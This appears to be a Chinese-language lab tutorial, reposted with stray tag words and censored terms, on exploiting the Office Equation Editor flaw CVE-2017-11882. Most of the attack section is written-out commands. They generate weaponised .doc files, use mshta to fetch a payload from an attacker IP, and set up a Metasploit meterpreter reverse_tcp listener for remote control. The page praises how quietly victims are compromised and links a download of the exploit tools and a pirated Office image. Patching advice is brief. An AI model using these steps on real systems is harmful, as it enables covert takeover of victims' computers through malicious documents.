这几个月来,针对微软Office套件最火热最流行的***手段,莫过于基于CVE-2017-11882的漏洞利用。html
2017年11月14号,微软推送了常规的安全更新,其中,关于CVE-2017-11882的安全更新引发了圈里的关注,随之而来的,即是针对此漏洞的POC***代码被逐渐公开。各路大神在Twitter和Github上相继公布本身的POC及对应的漏洞利用姿式,将这股烈火蔓延到2018年。python
为何这个漏洞会引发这么大的关注度呢?shell
从漏洞利用效果来看,它能够通杀Office 2003到2016的全部版本,而且整个***环境的构建很是简单,姿式又很是“优雅”。例如,有些***效果会出现弹框,会出现CPU飙高,会发生异常等等,而这个漏洞的利用效果,堪称“无色无味”。在后续实验过程当中,你们能够自行体会。编程
更重要的是,这枚“通杀型”的Office高危漏洞,其实已经潜伏了17年之久,直到近几个月才被发现并低调修复……windows
那么,这个漏洞是怎么回事呢?简单来讲:安全
此漏洞是由Office软件里面的 [公式编辑器] 形成的,因为编辑器进程没有对名称长度进行校验,致使缓冲区溢出,***者经过构造特殊的字符,能够实现任意代码执行。网络
举个例子,若是***利用这个漏洞,构造带有shell后门的office文件,当普通用户打开这个office文件,则电脑能够被***直接控制。session
影响版本:
office 2003
office 2007
office 2010
office 2013
office 2016框架
Kali Linux 2017.03 + Windows 7 + Office 2016
***机:Kali Linux + POC代码
靶机:Win7 + Office 2016tcp
注:为了节省你们实验时间,我将此实验涉及到的工具所有上传到网盘。
连接:https://pan.baidu.com/s/17rrYP33Nv2-dNxS7wc1foA 密码:nbw2
①下载office 2016
直接上msdn.itellyou.cn下载office 2016
种子连接:ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/
②安装office 2016
在Win7靶机中,安装office 2016套件,这里须要一些时间,你们也能够用其余windows和office版原本测试。
③下载POC代码
Github上有不少大神分享针对这个漏洞的POC代码,但测试过程当中,发现有些验证效果不出来,有些验证过程太复杂。
建议你们直接将我网盘分享的CVE-2017-11882文件夹下载下来,放到Kali Linux***机桌面。以下:
④进入shell终端,使用POC代码生成特殊改造的word文件
进入POC代码目录 root@kali:~/Desktop# cd CVE-2017-11882
查看文件
root@kali:~/Desktop/CVE-2017-11882# ls
生成word文档11882.doc,打开doc文件以后,会弹出计算器(以此验证offce漏洞) root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc
生成word文档11882.doc,打开doc文件以后,会弹出任务管理器(以此验证offce漏洞) root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc
再次查看,能够看到多了两个doc文件 root@kali:~/Desktop/CVE-2017-11882# ls
⑤将文件拷贝到Win7靶机上,并验证效果
使用Word 2016打开第一个文件-11882.doc文件,查看效果:
使用Word 2016打开第二个文件-11882-2.doc文件,查看效果:
能够看到,因为Office2016存在CVE-2017-11882漏洞,当打开特殊构造的word文件时,windows会执行其余动做。既然此漏洞可以形成win系统执行其余动做,那么,是否顺即可以反弹会话,直接被***机控制呢?答案是确定的。接下来咱们来作进一步的验证。
⑥在Kali Linux上构造带有shell后门的word文件,并开启监听
首先,为了后续更好的管理和使用***代码,能够将网盘中下载的代码”shell.rb”,名称修改成“cve-2017-11886.rb”
将CVE-2017-11882.rb拷贝到metasploit目录中,这里拷贝到目录/usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/Desktop/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# ls
进入Metasploit框架,搜索CVE-2017-11882:
root@kali:~# msfconsole
msf > search CVE-2017-11882
使用CVE-2017-11882.rb模块,开启Meterpreter监听会话:
使用模块 msf > use exploit/windows/smb/CVE-2017-11882
设置tcp反弹会话 msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp
设置***机ip地址(这里经过ifconfig命令查看) msf exploit(CVE-2017-11882) > set lhost 172.16.70.216
设置路径为11882,可自定义 msf exploit(CVE-2017-11882) > set uripath 11882
开启***,进入监听状态 msf exploit(CVE-2017-11882) > exploit
使用CVE-2017-11882.py模块,生成带有shell的doc文件:
root@kali:~/Desktop/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://172.16.70.216:8080/11882" -o 11882-3.doc
此时,CVE-2017-11882目录中增长了另一个word文件11882-3,而此文件的功能即是:打开它的电脑会反弹shell会话到控制机
将文件11882-3.doc拷贝到靶机win7上面:
在Win7打开11882-3.doc文件,此时观察Win7靶机和Kali Linux***机
注:作这个实验以前,首先要求***机Kali Linux和靶机Win7可以联通,例如在个人虚拟环境中,Kali Linux的ip地址是172.16.70.216,而Win7的地址是172.16.70.144,两个虚拟机采用NAT网卡模式。
当靶机打开文件时,整个过程没有任何弹框,也没有其余异常动做,整个***效果很是“优雅”,肉鸡很难发现。
此时,在另外一段的Kali Linux***机,已经获取到shell会话。
经过命令sessions查看meterpreter会话:
msf exploit(CVE-2017-11882) > sessions
此后即可以经过meterpreter来对会话进行管理:
进入会话 msf exploit(CVE-2017-11882) > sessions 1
查看系统信息 meterpreter > sysinfo
查看当前用户 meterpreter > getuid
截屏 meterpreter > screenshot
能够看到,安装了最新office 2016版本的win7,由于CVE-2017-11882漏洞,当打开带有shell后门的doc文件时,kali***机能够获取到完美的后门并控制win7。
①在线更新;开启Windows Update更新,这种方式对于大部分人来讲就够了。
②打补丁;此漏洞对应的微软补丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
=====================